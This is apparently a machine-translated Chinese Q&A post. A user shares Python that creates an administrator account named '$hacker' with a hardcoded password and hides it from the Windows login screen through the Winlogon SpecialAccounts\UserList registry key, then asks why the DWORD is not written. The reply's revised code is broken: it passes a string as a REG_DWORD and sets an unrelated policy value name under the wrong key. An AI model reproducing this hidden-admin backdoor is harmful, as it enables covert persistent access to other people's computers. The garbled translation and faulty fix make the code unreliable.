问题描述
大家好,我想教自己比我的大学更多的python,并且我试图将python文件创建为一次创建的bash文件ive。 该bash文件应该在名为$ hacker的“网络用户”上打开一个新用户,然后将其隐藏在Registory中。 尝试工作正常,当我完成所有操作时都得到了我询问的所有打印信息,但由于某种原因未创建DWORD(也有两个键) 希望有人知道我在做什么错!
import os
import sys
import winreg as w
os.system("net users $hacker Aa123456 /add")
os.system("net groups Administrators $hacker /add")
try:
key = w.CreateKey(w.HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\SpecialAccounts\\UserList")
print("/SpecialAccount/UserList Was succesfully created !")
w.SetValueEx(key,'$hacker',w.REG_DWORD,0)
print("DWORD was succesfully created !")
except:
print("Sorry there was a problem finishing the changes.")
print("Please try again.")
quit()
解决方法
尝试以下
import winreg as wreg
try:
key = wreg.CreateKey(wreg.HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\SpecialAccounts\\UserList")
wreg.SetValue(key,'NewSubkey',wreg.REG_SZ,'LocalAccountTokenFilterPolicy')
wreg.SetValueEx(key,'ValueName',wreg.REG_DWORD,'0x00000001')
key.Close()
print("DWORD was succesfully created !")
except:
print("Sorry there was a problem finishing the changes.")
print("Please try again.")
quit()